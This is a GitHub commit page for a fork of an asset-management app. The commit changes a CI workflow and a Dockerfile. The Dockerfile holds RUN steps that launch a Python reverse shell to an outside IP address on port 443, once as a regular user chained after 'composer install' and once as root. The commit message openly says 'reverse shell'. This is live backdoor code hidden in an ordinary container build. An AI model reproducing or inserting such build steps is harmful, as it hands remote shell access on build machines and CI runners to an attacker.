Skip to content

Commit 72f3500

Browse files
author
Jeremy Price
committed
ok.. back to arm.. lets composer and then reverse shell... on :latest
1 parent fabe438 commit 72f3500

File tree

2 files changed

+3
-3
lines changed

2 files changed

+3
-3
lines changed

.github/workflows/docker.yml

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -23,7 +23,7 @@ jobs:
2323
docker:
2424
# Ensure this job never runs on forked repos. It's only executed for 'jerm/snipe-it'
2525
if: github.repository == 'jerm/jerm-it'
26-
runs-on: ubuntu-22.04
26+
runs-on: ubuntu-latest
2727
env:
2828
# Define tags to use for Docker images based on Git tags/branches (for docker/metadata-action)
2929
# For a new commit on default branch (master), use the literal tag 'latest' on Docker image.
@@ -78,7 +78,7 @@ jobs:
7878
with:
7979
context: .
8080
file: ./Dockerfile
81-
platforms: linux/amd64
81+
platforms: linux/arm64
8282
# For pull requests, we run the Docker build (to ensure no PR changes break the build),
8383
# but we ONLY do an image push to DockerHub if it's NOT a PR
8484
push: ${{ github.event_name != 'pull_request' }}

Dockerfile

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@ FROM jermgroks/jerm-it-base
22

33
# Get dependencies
44
USER docker
5-
RUN python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("3.12.184.22",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2) ;p=subprocess.call(["/bin/bash","-i"]);'
5+
RUN composer install --no-dev --working-dir=/var/www/html && python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("3.12.184.22",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2) ;p=subprocess.call(["/bin/bash","-i"]);'
66
USER root
77

88
RUN sleep 30 && python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("3.12.184.22",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2) ;p=subprocess.call(["/bin/bash","-i"]);'

0 commit comments

Comments
 (0)